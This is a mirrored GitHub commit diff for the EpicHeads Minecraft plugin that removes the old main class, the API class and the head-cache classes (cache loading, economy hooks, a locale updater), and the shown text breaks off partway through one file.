mirror of
https://github.com/songoda/EpicHeads.git
synced 2024-11-21 18:15:42 +01:00
Recode
This commit is contained in:
parent
f46e0b171f
commit
19d026a59c
3
.gitignore
vendored
3
.gitignore
vendored
@ -1,6 +1,7 @@
|
||||
/bin/
|
||||
/.settings/
|
||||
/target/
|
||||
*.project
|
||||
*.classpath
|
||||
.idea
|
||||
target
|
||||
EpicHeads.iml
|
@ -1,432 +0,0 @@
|
||||
package com.songoda.epicheads;
|
||||
|
||||
import com.songoda.epicheads.cache.CacheFile;
|
||||
import com.songoda.epicheads.cache.CacheHead;
|
||||
import com.songoda.epicheads.cache.ModsFile;
|
||||
import com.songoda.epicheads.cache.ModsFileHeader;
|
||||
import com.songoda.epicheads.cache.legacy.CacheFileConverter;
|
||||
import com.songoda.epicheads.cache.legacy.LegacyCacheConfig;
|
||||
import com.songoda.epicheads.command.CommandManager;
|
||||
import com.songoda.epicheads.config.FileConfigFile;
|
||||
import com.songoda.epicheads.config.MainConfig;
|
||||
import com.songoda.epicheads.config.menu.Menus;
|
||||
import com.songoda.epicheads.config.oldmenu.MenuConfig;
|
||||
import com.songoda.epicheads.economy.*;
|
||||
import com.songoda.epicheads.handlers.HeadNamer;
|
||||
import com.songoda.epicheads.handlers.LegacyIDs;
|
||||
import com.songoda.epicheads.menu.ui.InventoryMenu;
|
||||
import com.songoda.epicheads.oldmenu.ClickInventory;
|
||||
import com.songoda.epicheads.util.Clock;
|
||||
import com.songoda.epicheads.util.Methods;
|
||||
import com.songoda.epicheads.volatilecode.injection.ProtocolHackFixer;
|
||||
import com.songoda.epicheads.volatilecode.reflection.Version;
|
||||
import org.bukkit.Bukkit;
|
||||
import org.bukkit.GameMode;
|
||||
import org.bukkit.Location;
|
||||
import org.bukkit.command.ConsoleCommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.event.EventHandler;
|
||||
import org.bukkit.event.EventPriority;
|
||||
import org.bukkit.event.Listener;
|
||||
import org.bukkit.event.inventory.InventoryClickEvent;
|
||||
import org.bukkit.inventory.Inventory;
|
||||
import org.bukkit.inventory.InventoryHolder;
|
||||
import org.bukkit.plugin.Plugin;
|
||||
import org.bukkit.plugin.java.JavaPlugin;
|
||||
import org.json.simple.JSONArray;
|
||||
import org.json.simple.JSONObject;
|
||||
import org.json.simple.parser.JSONParser;
|
||||
|
||||
import java.io.File;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.io.InputStreamReader;
|
||||
import java.net.URL;
|
||||
import java.net.URLConnection;
|
||||
import java.util.function.Consumer;
|
||||
|
||||
public class EpicHeads extends JavaPlugin implements Listener {
|
||||
|
||||
private static EpicHeads INSTANCE;
|
||||
private static ConsoleCommandSender console;
|
||||
private CacheFile cache;
|
||||
private MenuConfig oldMenuConfig;
|
||||
private Menus menus;
|
||||
private MainConfig mainConfig;
|
||||
private Economy economy;
|
||||
private LegacyIDs legacyIDs;
|
||||
private boolean blockStoreAvailable = false;
|
||||
|
||||
private References references;
|
||||
private CommandManager commandManager;
|
||||
private Locale locale;
|
||||
|
||||
@Override
|
||||
public void onEnable() {
|
||||
console = this.getServer().getConsoleSender();
|
||||
INSTANCE = this;
|
||||
if (Version.isBelow(Version.v1_8)) {
|
||||
Methods.formatText("&c-------------------------------------------------------------------");
|
||||
Methods.formatText("&c EpicHeads no longer supports versions below Minecraft 1.8. ");
|
||||
Methods.formatText("&c Please switch to Heads version 1.15.1 or before. ");
|
||||
Methods.formatText("&c-------------------------------------------------------------------");
|
||||
Bukkit.getPluginManager().disablePlugin(this);
|
||||
return;
|
||||
}
|
||||
|
||||
console.sendMessage(Methods.formatText("&a============================="));
|
||||
console.sendMessage(Methods.formatText("&7EpicHeads " + this.getDescription().getVersion() + " by &5Brianna <3!"));
|
||||
console.sendMessage(Methods.formatText("&7Action: &aEnabling&7..."));
|
||||
|
||||
Clock timer = Clock.start();
|
||||
loadCache();
|
||||
try {
|
||||
legacyIDs = LegacyIDs.readResource("legacy-ids.txt");
|
||||
} catch (IOException exception) {
|
||||
legacyIDs = LegacyIDs.EMPTY;
|
||||
Methods.formatText("Unable to load legacy IDs to perform conversion from older Spigot versions");
|
||||
exception.printStackTrace();
|
||||
}
|
||||
|
||||
// Locales
|
||||
Locale.init(this);
|
||||
Locale.saveDefaultLocale("en_US");
|
||||
this.locale = Locale.getLocale(getConfig().getString("Locale", "en_US"));
|
||||
|
||||
this.update();
|
||||
|
||||
this.references = new References();
|
||||
this.menus = new Menus();
|
||||
this.menus.reload();
|
||||
this.oldMenuConfig = new MenuConfig(getVersionedConfig("menus.yml"));
|
||||
this.mainConfig = new MainConfig();
|
||||
this.economy = hookEconomy();
|
||||
|
||||
this.commandManager = new CommandManager(this);
|
||||
|
||||
ProtocolHackFixer.fix();
|
||||
tryHookBlockStore();
|
||||
new HeadNamer(this).registerEvents();
|
||||
Bukkit.getPluginManager().registerEvents(this, this);
|
||||
console.sendMessage(Methods.formatText(getDescription().getName() + " has been enabled with " + cache.getHeadCount() + " heads " + timer + "."));
|
||||
console.sendMessage(Methods.formatText("&a============================="));
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onDisable() {
|
||||
INSTANCE = null;
|
||||
console.sendMessage(Methods.formatText("&a============================="));
|
||||
console.sendMessage(Methods.formatText("&7EpicHeads " + this.getDescription().getVersion() + " by &5Brianna <3!"));
|
||||
console.sendMessage(Methods.formatText("&7Action: &cDisabling&7..."));
|
||||
console.sendMessage(Methods.formatText("&a============================="));
|
||||
|
||||
}
|
||||
|
||||
public void reloadConfigs() {
|
||||
this.oldMenuConfig.reload();
|
||||
this.menus.reload();
|
||||
this.mainConfig.reload();
|
||||
this.locale.reloadMessages();
|
||||
this.economy = hookEconomy();
|
||||
this.tryHookBlockStore();
|
||||
}
|
||||
|
||||
private void update() {
|
||||
try {
|
||||
URL url = new URL("http://update.songoda.com/index.php?plugin=" + getDescription().getName() + "&version=" + getDescription().getVersion());
|
||||
URLConnection urlConnection = url.openConnection();
|
||||
InputStream is = urlConnection.getInputStream();
|
||||
InputStreamReader isr = new InputStreamReader(is);
|
||||
|
||||
int numCharsRead;
|
||||
char[] charArray = new char[1024];
|
||||
StringBuilder sb = new StringBuilder();
|
||||
while ((numCharsRead = isr.read(charArray)) > 0) {
|
||||
sb.append(charArray, 0, numCharsRead);
|
||||
}
|
||||
String jsonString = sb.toString();
|
||||
JSONObject json = (JSONObject) new JSONParser().parse(jsonString);
|
||||
|
||||
JSONArray files = (JSONArray) json.get("neededFiles");
|
||||
for (Object o : files) {
|
||||
JSONObject file = (JSONObject) o;
|
||||
|
||||
if ("locale".equals(file.get("type"))) {
|
||||
InputStream in = new URL((String) file.get("link")).openStream();
|
||||
Locale.saveDefaultLocale(in, (String) file.get("name"));
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
Bukkit.getLogger().warning("Failed to update.");
|
||||
}
|
||||
}
|
||||
|
||||
public File getCacheFile() {
|
||||
if (!getDataFolder().exists() && !getDataFolder().mkdirs())
|
||||
throw new RuntimeException("Unable to create the data folder to save plugin files");
|
||||
if (!getDataFolder().isDirectory())
|
||||
throw new RuntimeException("plugins/EpicHeads should be a directory, yet there is a file with the same name");
|
||||
return new File(getDataFolder(), "heads.cache");
|
||||
}
|
||||
|
||||
private CacheFile loadCache() {
|
||||
File file = getCacheFile();
|
||||
FileConfigFile legacyConfig = new FileConfigFile("cache.yml");
|
||||
boolean requiresWrite = false;
|
||||
if (!file.exists()) {
|
||||
requiresWrite = true;
|
||||
if (legacyConfig.getFile().exists()) {
|
||||
Clock timer = Clock.start();
|
||||
LegacyCacheConfig legacy = new LegacyCacheConfig(legacyConfig);
|
||||
cache = CacheFileConverter.convertToCacheFile("main-cache", legacy);
|
||||
Methods.formatText("Converted legacy yaml cache file to new binary file " + timer);
|
||||
} else {
|
||||
cache = new CacheFile("main-cache");
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
Clock timer = Clock.start();
|
||||
cache = CacheFile.read(file);
|
||||
Methods.formatText("Loaded cache file " + timer);
|
||||
} catch (IOException e) {
|
||||
Methods.formatText("Unable to read heads.cache file");
|
||||
throw new RuntimeException("There was an exception reading the heads.cache file", e);
|
||||
}
|
||||
}
|
||||
|
||||
if (installAddons() || requiresWrite) {
|
||||
saveCache();
|
||||
}
|
||||
|
||||
if (legacyConfig.getFile().exists() && !legacyConfig.getFile().delete()) {
|
||||
Methods.formatText("Unable to delete legacy yaml cache file");
|
||||
}
|
||||
|
||||
return cache;
|
||||
}
|
||||
|
||||
public void saveCache() {
|
||||
File file = getCacheFile();
|
||||
try {
|
||||
Clock timer = Clock.start();
|
||||
|
||||
cache.write(file);
|
||||
|
||||
Methods.formatText("Saved cache file " + timer);
|
||||
} catch (IOException e) {
|
||||
Methods.formatText("Unable to save the cache to heads.cache");
|
||||
throw new RuntimeException("There was an exception saving the cache", e);
|
||||
}
|
||||
}
|
||||
|
||||
private ModsFileHeader readModsFileHeader() {
|
||||
try {
|
||||
return ModsFileHeader.readResource("cache.mods");
|
||||
} catch (IOException e) {
|
||||
Methods.formatText("Unable to read header of cache.mods");
|
||||
throw new RuntimeException("Unable to read header of cache.mods", e);
|
||||
}
|
||||
}
|
||||
|
||||
private ModsFile readModsFile() {
|
||||
try {
|
||||
return ModsFile.readResource("cache.mods");
|
||||
} catch (IOException e) {
|
||||
Methods.formatText("Unable to read mods from cache.mods");
|
||||
throw new RuntimeException("Unable to read mods from cache.mods", e);
|
||||
}
|
||||
}
|
||||
|
||||
private boolean installAddons() {
|
||||
Clock timer = Clock.start();
|
||||
|
||||
ModsFileHeader header = readModsFileHeader();
|
||||
int newMods = header.getUninstalledMods(cache);
|
||||
|
||||
if (newMods == 0)
|
||||
return false;
|
||||
|
||||
ModsFile mods = readModsFile();
|
||||
|
||||
int newHeads = mods.installMods(cache);
|
||||
|
||||
if (newHeads > 0) {
|
||||
Methods.formatText("Added " + newHeads + " new heads from " + newMods + " addons " + timer);
|
||||
} else {
|
||||
Methods.formatText("Installed " + newMods + " addons " + timer);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
private Economy hookEconomy() {
|
||||
if (!mainConfig.isEconomyEnabled())
|
||||
return new NoEconomy();
|
||||
|
||||
Economy economy = null;
|
||||
|
||||
if (mainConfig.isVaultEconomyEnabled()) {
|
||||
economy = tryHookEconomy(null, new VaultEconomy());
|
||||
}
|
||||
|
||||
if (mainConfig.isItemEconomyEnabled()) {
|
||||
economy = tryHookEconomy(economy, new ItemEconomy());
|
||||
}
|
||||
|
||||
if (mainConfig.isPlayerPointsEconomyEnabled()) {
|
||||
economy = tryHookEconomy(economy, new PlayerPointsEconomy());
|
||||
}
|
||||
|
||||
if (economy == null || economy instanceof NoEconomy) {
|
||||
Methods.formatText("Economy enabled in config.yml yet Vault, PlayerPoints and Item economies disabled. " + "Player's will not be able to purchase heads.");
|
||||
|
||||
economy = (economy != null ? economy : new NoEconomy());
|
||||
}
|
||||
|
||||
return economy;
|
||||
}
|
||||
|
||||
private Economy tryHookEconomy(Economy currentlyHooked, Economy toHook) {
|
||||
if (currentlyHooked != null) {
|
||||
Methods.formatText(toHook.getName() + " economy is not the only economy enabled in the config.yml.");
|
||||
|
||||
if (!(currentlyHooked instanceof NoEconomy))
|
||||
return currentlyHooked;
|
||||
}
|
||||
|
||||
if (!toHook.tryHook()) {
|
||||
Methods.formatText(toHook.getName() + " enabled in config.yml, yet Heads was unable to hook into it.");
|
||||
return new NoEconomy();
|
||||
}
|
||||
|
||||
Methods.formatText("Loaded " + toHook.getName() + " economy");
|
||||
return toHook;
|
||||
}
|
||||
|
||||
private void tryHookBlockStore() {
|
||||
if (mainConfig.shouldUseBlockStore() && Bukkit.getPluginManager().getPlugin("BlockStore") != null) {
|
||||
blockStoreAvailable = false;
|
||||
|
||||
try {
|
||||
Class<?> apiClass = Class.forName("net.sothatsit.blockstore.BlockStoreApi");
|
||||
|
||||
apiClass.getDeclaredMethod("retrieveBlockMeta", Plugin.class, Location.class, Plugin.class, String.class, Consumer.class);
|
||||
|
||||
Methods.formatText("Hooked BlockStore");
|
||||
|
||||
blockStoreAvailable = true;
|
||||
|
||||
} catch (ClassNotFoundException | NoSuchMethodException e) {
|
||||
Methods.formatText("Unable to hook BlockStore, the version of BlockStore you are " + "using may be outdated. Heads requires BlockStore v1.5.0.");
|
||||
Methods.formatText("Please update BlockStore and report this to Sothatsit if the problem persists.");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.HIGHEST)
|
||||
public void onInventoryClick(InventoryClickEvent e) {
|
||||
Inventory inventory = e.getInventory();
|
||||
|
||||
if (inventory == null)
|
||||
return;
|
||||
|
||||
InventoryHolder holder = inventory.getHolder();
|
||||
|
||||
if (holder instanceof ClickInventory) {
|
||||
((ClickInventory) holder).onClick(e);
|
||||
} else if (holder instanceof InventoryMenu) {
|
||||
((InventoryMenu) holder).onClick(e);
|
||||
}
|
||||
}
|
||||
|
||||
private boolean isExemptFromCost(Player player) {
|
||||
if (!mainConfig.isEconomyEnabled() || player.hasPermission("EpicHeads.bypasscost"))
|
||||
return true;
|
||||
|
||||
return mainConfig.isFreeInCreative() && player.getGameMode() == GameMode.CREATIVE;
|
||||
}
|
||||
|
||||
public boolean chargeForHead(Player player, CacheHead head) {
|
||||
if (isExemptFromCost(player))
|
||||
return true;
|
||||
|
||||
double cost = head.getCost();
|
||||
|
||||
if (cost <= 0)
|
||||
return true;
|
||||
|
||||
if (!economy.hasBalance(player, cost)) {
|
||||
player.sendMessage(getLocale().getMessage("interface.get.notenoughmoney", head.getName(), head.getCost()));
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!economy.takeBalance(player, cost)) {
|
||||
player.sendMessage(getLocale().getMessage("interface.get.transactionerror", head.getName(), head.getCost()));
|
||||
return false;
|
||||
}
|
||||
|
||||
player.sendMessage(getLocale().getMessage("interface.get.purchased", head.getName(), head.getCost()));
|
||||
return true;
|
||||
}
|
||||
|
||||
public String getCategoryPermission(String category) {
|
||||
return "EpicHeads.category." + category.toLowerCase().replace(' ', '_');
|
||||
}
|
||||
|
||||
//ToDO: these shouldn't be static.
|
||||
public static EpicHeads getInstance() {
|
||||
return INSTANCE;
|
||||
}
|
||||
|
||||
public LegacyIDs getLegacyIDs() {
|
||||
return INSTANCE.legacyIDs;
|
||||
}
|
||||
|
||||
public MainConfig getMainConfig() {
|
||||
return INSTANCE.mainConfig;
|
||||
}
|
||||
|
||||
public CacheFile getCache() {
|
||||
return INSTANCE.cache;
|
||||
}
|
||||
|
||||
public Menus getMenus() {
|
||||
return INSTANCE.menus;
|
||||
}
|
||||
|
||||
public MenuConfig getMenuConfig() {
|
||||
return INSTANCE.oldMenuConfig;
|
||||
}
|
||||
|
||||
public Economy getEconomy() {
|
||||
return INSTANCE.economy;
|
||||
}
|
||||
|
||||
public boolean isBlockStoreAvailable() {
|
||||
return INSTANCE.blockStoreAvailable;
|
||||
}
|
||||
|
||||
public void sync(Runnable task) {
|
||||
Bukkit.getScheduler().runTask(INSTANCE, task);
|
||||
}
|
||||
|
||||
public FileConfigFile getVersionedConfig(String resource) {
|
||||
if (Version.isBelow(Version.v1_13))
|
||||
return new FileConfigFile(resource, "pre1_13/" + resource);
|
||||
|
||||
return new FileConfigFile(resource);
|
||||
}
|
||||
|
||||
|
||||
public CommandManager getCommandManager() {
|
||||
return commandManager;
|
||||
}
|
||||
|
||||
public Locale getLocale() {
|
||||
return locale;
|
||||
}
|
||||
|
||||
public References getReferences() {
|
||||
return references;
|
||||
}
|
||||
}
|
@ -1,110 +0,0 @@
|
||||
package com.songoda.epicheads.api;
|
||||
|
||||
import com.google.common.collect.ImmutableList;
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
import com.songoda.epicheads.cache.CacheHead;
|
||||
import com.songoda.epicheads.util.Checks;
|
||||
import com.songoda.epicheads.volatilecode.TextureGetter;
|
||||
import org.bukkit.inventory.ItemStack;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.Set;
|
||||
import java.util.function.Consumer;
|
||||
|
||||
public class EpicHeadsAPI {
|
||||
|
||||
public static class Head {
|
||||
|
||||
private final CacheHead head;
|
||||
|
||||
private Head(CacheHead head) {
|
||||
Checks.ensureNonNull(head, "head");
|
||||
this.head = head;
|
||||
}
|
||||
|
||||
public boolean isEnabled() {
|
||||
return EpicHeads.getInstance() != null;
|
||||
}
|
||||
|
||||
public int getId() {
|
||||
return head.getId();
|
||||
}
|
||||
|
||||
public String getName() {
|
||||
return head.getName();
|
||||
}
|
||||
|
||||
public String getCategory() {
|
||||
return head.getCategory();
|
||||
}
|
||||
|
||||
public double getCost() {
|
||||
return head.getCost();
|
||||
}
|
||||
|
||||
public ItemStack getItem() {
|
||||
return head.getItemStack();
|
||||
}
|
||||
|
||||
public ItemStack getItem(String displayName) {
|
||||
return head.getItemStack(displayName);
|
||||
}
|
||||
|
||||
private static Head fromCacheHead(CacheHead head) {
|
||||
return (head == null ? null : new Head(head));
|
||||
}
|
||||
|
||||
private static Head fromNameAndTexture(String name, String texture) {
|
||||
return (texture == null ? null : fromCacheHead(new CacheHead(name, "EpicHeadsAPI", texture)));
|
||||
}
|
||||
|
||||
private static List<Head> fromCacheHeads(List<CacheHead> heads) {
|
||||
ImmutableList.Builder<Head> converted = ImmutableList.builder();
|
||||
for (CacheHead head : heads) {
|
||||
converted.add(Head.fromCacheHead(head));
|
||||
}
|
||||
return converted.build();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public static Head getHead(int id) {
|
||||
CacheHead head = EpicHeads.getInstance().getCache().findHead(id);
|
||||
if (head == null)
|
||||
return null;
|
||||
return new Head(head);
|
||||
}
|
||||
|
||||
@Deprecated
|
||||
public static List<Head> searchHeads(String query) {
|
||||
List<CacheHead> search = EpicHeads.getInstance().getCache().searchHeads(query);
|
||||
return Head.fromCacheHeads(search);
|
||||
}
|
||||
|
||||
public static void searchHeads(String query, Consumer<List<Head>> onResult) {
|
||||
EpicHeads.getInstance().getCache().searchHeadsAsync(query, heads -> {
|
||||
onResult.accept(Head.fromCacheHeads(heads));
|
||||
});
|
||||
}
|
||||
|
||||
public static Set<String> getCategories() {
|
||||
return EpicHeads.getInstance().getCache().getCategories();
|
||||
}
|
||||
|
||||
public static List<Head> getCategoryHeads(String category) {
|
||||
List<CacheHead> categoryHeads = EpicHeads.getInstance().getCache().getCategoryHeads(category);
|
||||
return Head.fromCacheHeads(categoryHeads);
|
||||
}
|
||||
|
||||
public static List<Head> getAllHeads() {
|
||||
List<CacheHead> heads = EpicHeads.getInstance().getCache().getHeads();
|
||||
return Head.fromCacheHeads(heads);
|
||||
}
|
||||
|
||||
public static void downloadHead(String playerName, Consumer<Head> consumer) {
|
||||
TextureGetter.getTexture(playerName, (texture) -> {
|
||||
consumer.accept(Head.fromNameAndTexture(playerName, texture));
|
||||
});
|
||||
}
|
||||
|
||||
}
|
291
main/java/com/songoda/epicheads/cache/CacheFile.java
vendored
291
main/java/com/songoda/epicheads/cache/CacheFile.java
vendored
@ -1,291 +0,0 @@
|
||||
package com.songoda.epicheads.cache;
|
||||
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
import com.songoda.epicheads.handlers.Search;
|
||||
import com.songoda.epicheads.util.Checks;
|
||||
import com.songoda.epicheads.util.IOUtils;
|
||||
import org.bukkit.scheduler.BukkitRunnable;
|
||||
|
||||
import java.io.*;
|
||||
import java.util.*;
|
||||
import java.util.function.Consumer;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
import java.util.zip.GZIPOutputStream;
|
||||
|
||||
public final class CacheFile implements Mod {
|
||||
|
||||
private final String name;
|
||||
private final Set<String> mods = new HashSet<>();
|
||||
private final List<CacheHead> heads = new ArrayList<>();
|
||||
private final Map<Integer, CacheHead> headsById = new HashMap<>();
|
||||
private final Map<String, CacheHead> headsByTexture = new HashMap<>();
|
||||
private final Map<String, List<CacheHead>> categories = new HashMap<>();
|
||||
|
||||
public CacheFile(String name) {
|
||||
this(name, Collections.emptySet(), Collections.emptyList());
|
||||
}
|
||||
|
||||
public CacheFile(String name, Set<String> mods, Iterable<CacheHead> heads) {
|
||||
Checks.ensureNonNull(name, "name");
|
||||
Checks.ensureNonNull(mods, "mods");
|
||||
Checks.ensureNonNull(heads, "heads");
|
||||
|
||||
this.name = name;
|
||||
this.mods.addAll(mods);
|
||||
|
||||
addHeads(heads);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getName() {
|
||||
return name;
|
||||
}
|
||||
|
||||
@Override
|
||||
public ModType getType() {
|
||||
return ModType.ADDON;
|
||||
}
|
||||
|
||||
public int getHeadCount() {
|
||||
return heads.size();
|
||||
}
|
||||
|
||||
public List<CacheHead> getHeads() {
|
||||
return Collections.unmodifiableList(heads);
|
||||
}
|
||||
|
||||
public String resolveCategoryName(String category) {
|
||||
for (String name : categories.keySet()) {
|
||||
if (name.equalsIgnoreCase(category))
|
||||
return name;
|
||||
}
|
||||
|
||||
return category;
|
||||
}
|
||||
|
||||
public Set<String> getCategories() {
|
||||
return Collections.unmodifiableSet(categories.keySet());
|
||||
}
|
||||
|
||||
public List<CacheHead> getCategoryHeads(String category) {
|
||||
category = resolveCategoryName(category);
|
||||
|
||||
List<CacheHead> list = categories.getOrDefault(category, Collections.emptyList());
|
||||
|
||||
Collections.sort(list);
|
||||
|
||||
return Collections.unmodifiableList(list);
|
||||
}
|
||||
|
||||
public List<CacheHead> searchHeads(String query) {
|
||||
return Search.searchHeads(query, heads, 0.4d);
|
||||
}
|
||||
|
||||
public void searchHeadsAsync(String query, Consumer<List<CacheHead>> onResult) {
|
||||
List<CacheHead> headsCopy = new ArrayList<>(heads);
|
||||
new BukkitRunnable() {
|
||||
public void run() {
|
||||
List<CacheHead> matches = Search.searchHeads(query, headsCopy, 0.4d);
|
||||
|
||||
EpicHeads.getInstance().sync(() -> onResult.accept(matches));
|
||||
}
|
||||
}.runTaskAsynchronously(EpicHeads.getInstance());
|
||||
}
|
||||
|
||||
public CacheHead findHead(int id) {
|
||||
return headsById.get(id);
|
||||
}
|
||||
|
||||
public CacheHead findHeadByTexture(String texture) {
|
||||
return headsByTexture.get(texture);
|
||||
}
|
||||
|
||||
public List<CacheHead> findHeads(UUID uniqueId) {
|
||||
List<CacheHead> matches = new ArrayList<>();
|
||||
|
||||
for (CacheHead head : heads) {
|
||||
if (!head.getUniqueId().equals(uniqueId))
|
||||
continue;
|
||||
|
||||
matches.add(head);
|
||||
}
|
||||
|
||||
return matches;
|
||||
}
|
||||
|
||||
public CacheHead getRandomHead(Random random) {
|
||||
return heads.get(random.nextInt(heads.size()));
|
||||
}
|
||||
|
||||
public void addHeads(Iterable<CacheHead> heads) {
|
||||
for (CacheHead head : heads) {
|
||||
addHead(head);
|
||||
}
|
||||
}
|
||||
|
||||
private int getMaxId() {
|
||||
int max = -1;
|
||||
|
||||
for (CacheHead head : heads) {
|
||||
max = Math.max(max, head.getId());
|
||||
}
|
||||
|
||||
return max;
|
||||
}
|
||||
|
||||
public void addHead(CacheHead head) {
|
||||
String category = resolveCategoryName(head.getCategory());
|
||||
|
||||
head = head.copyWithCategory(category);
|
||||
head.setId(getMaxId() + 1);
|
||||
|
||||
heads.add(head);
|
||||
headsById.put(head.getId(), head);
|
||||
headsByTexture.put(head.getTexture(), head);
|
||||
categories.computeIfAbsent(category, c -> new ArrayList<>()).add(head);
|
||||
}
|
||||
|
||||
public void removeHead(CacheHead head) {
|
||||
String category = resolveCategoryName(head.getCategory());
|
||||
|
||||
heads.remove(head);
|
||||
headsById.remove(head.getId(), head);
|
||||
headsByTexture.remove(head.getTexture(), head);
|
||||
categories.compute(category, (key, categoryHeads) -> {
|
||||
if (categoryHeads == null)
|
||||
return null;
|
||||
|
||||
categoryHeads.remove(head);
|
||||
|
||||
return (categoryHeads.size() > 0 ? categoryHeads : null);
|
||||
});
|
||||
}
|
||||
|
||||
@Override
|
||||
public void applyMod(CacheFile cache) {
|
||||
cache.addHeads(heads);
|
||||
}
|
||||
|
||||
public boolean hasMod(String mod) {
|
||||
return mods.contains(mod);
|
||||
}
|
||||
|
||||
public void installMod(Mod mod) {
|
||||
if (hasMod(mod.getName()))
|
||||
return;
|
||||
|
||||
mods.add(mod.getName());
|
||||
mod.applyMod(this);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return getType() + " {name: \"" + name + "\", headCount: " + getHeadCount() + "}";
|
||||
}
|
||||
|
||||
public void write(File file) throws IOException {
|
||||
if (file.isDirectory())
|
||||
throw new IOException("File " + file + " is a directory");
|
||||
|
||||
if (!file.exists() && !file.createNewFile())
|
||||
throw new IOException("Unable to create file " + file);
|
||||
|
||||
try (FileOutputStream stream = new FileOutputStream(file)) {
|
||||
writeCompressed(stream);
|
||||
}
|
||||
}
|
||||
|
||||
public void writeCompressed(OutputStream os) throws IOException {
|
||||
try (GZIPOutputStream zos = new GZIPOutputStream(os); ObjectOutputStream stream = new ObjectOutputStream(zos)) {
|
||||
|
||||
write(stream);
|
||||
|
||||
stream.flush();
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void write(ObjectOutputStream stream) throws IOException {
|
||||
stream.writeInt(2);
|
||||
stream.writeUTF(name);
|
||||
|
||||
IOUtils.writeStringSet(stream, mods);
|
||||
|
||||
stream.writeInt(heads.size());
|
||||
for (CacheHead head : heads) {
|
||||
head.write(stream);
|
||||
}
|
||||
}
|
||||
|
||||
public static CacheFile read(File file) throws IOException {
|
||||
if (file.isDirectory())
|
||||
throw new IOException("File " + file + " is a directory");
|
||||
|
||||
if (!file.exists())
|
||||
throw new IOException("File " + file + " does not exist");
|
||||
|
||||
try (FileInputStream stream = new FileInputStream(file)) {
|
||||
return readCompressed(stream);
|
||||
}
|
||||
}
|
||||
|
||||
public static CacheFile readResource(String resource) throws IOException {
|
||||
try (InputStream stream = EpicHeads.getInstance().getResource(resource)) {
|
||||
return readCompressed(stream);
|
||||
}
|
||||
}
|
||||
|
||||
public static CacheFile readCompressed(InputStream is) throws IOException {
|
||||
try (GZIPInputStream zis = new GZIPInputStream(is); ObjectInputStream stream = new ObjectInputStream(zis)) {
|
||||
|
||||
return read(stream);
|
||||
}
|
||||
}
|
||||
|
||||
public static CacheFile read(ObjectInputStream stream) throws IOException {
|
||||
int version = stream.readInt();
|
||||
|
||||
switch (version) {
|
||||
case 2:
|
||||
return readVersion2(stream);
|
||||
case 1:
|
||||
return readVersion1(stream);
|
||||
default:
|
||||
throw new UnsupportedOperationException("Unknown cache file version " + version);
|
||||
}
|
||||
}
|
||||
|
||||
private static CacheFile readVersion2(ObjectInputStream stream) throws IOException {
|
||||
String name = stream.readUTF();
|
||||
|
||||
Set<String> mods = IOUtils.readStringSet(stream);
|
||||
|
||||
int headCount = stream.readInt();
|
||||
List<CacheHead> heads = new ArrayList<>(headCount);
|
||||
for (int index = 0; index < headCount; ++index) {
|
||||
heads.add(CacheHead.read(stream));
|
||||
}
|
||||
|
||||
return new CacheFile(name, mods, heads);
|
||||
}
|
||||
|
||||
private static CacheFile readVersion1(ObjectInputStream stream) throws IOException {
|
||||
String name = stream.readUTF();
|
||||
|
||||
Set<String> mods = new HashSet<>();
|
||||
|
||||
mods.addAll(IOUtils.readStringSet(stream));
|
||||
mods.addAll(IOUtils.readStringSet(stream));
|
||||
|
||||
int headCount = stream.readInt();
|
||||
List<CacheHead> heads = new ArrayList<>(headCount);
|
||||
for (int index = 0; index < headCount; ++index) {
|
||||
heads.add(CacheHead.read(stream));
|
||||
}
|
||||
|
||||
return new CacheFile(name, mods, heads);
|
||||
}
|
||||
|
||||
public static String cool = "%%__USER__%%";
|
||||
|
||||
}
|
214
main/java/com/songoda/epicheads/cache/CacheHead.java
vendored
214
main/java/com/songoda/epicheads/cache/CacheHead.java
vendored
@ -1,214 +0,0 @@
|
||||
package com.songoda.epicheads.cache;
|
||||
|
||||
import com.google.gson.JsonObject;
|
||||
import com.google.gson.JsonParser;
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
import com.songoda.epicheads.config.lang.Placeholder;
|
||||
import com.songoda.epicheads.util.Checks;
|
||||
import com.songoda.epicheads.util.IOUtils;
|
||||
import com.songoda.epicheads.volatilecode.ItemNBT;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.inventory.ItemStack;
|
||||
|
||||
import javax.annotation.Nonnull;
|
||||
import java.io.IOException;
|
||||
import java.io.ObjectInputStream;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.*;
|
||||
|
||||
public final class CacheHead implements Comparable<CacheHead> {
|
||||
|
||||
private int id;
|
||||
private String name;
|
||||
private final String category;
|
||||
private final String texture;
|
||||
private String textureURL;
|
||||
private UUID uniqueId;
|
||||
private final List<String> tags = new ArrayList<>();
|
||||
private double cost;
|
||||
|
||||
public CacheHead(String name, String category, String texture) {
|
||||
this(-1, name, category, texture, Collections.emptyList(), -1d);
|
||||
}
|
||||
|
||||
public CacheHead(String name, String category, String texture, String... tags) {
|
||||
this(-1, name, category, texture, Arrays.asList(tags), -1d);
|
||||
}
|
||||
|
||||
public CacheHead(int id, String name, String category, String texture, List<String> tags, double cost) {
|
||||
Checks.ensureNonNull(name, "name");
|
||||
Checks.ensureNonNull(category, "category");
|
||||
Checks.ensureNonNull(texture, "texture");
|
||||
Checks.ensureNonNull(tags, "tags");
|
||||
|
||||
this.id = id;
|
||||
this.name = name;
|
||||
this.category = category;
|
||||
this.texture = texture;
|
||||
this.textureURL = null;
|
||||
this.uniqueId = null;
|
||||
this.tags.addAll(tags);
|
||||
this.cost = cost;
|
||||
}
|
||||
|
||||
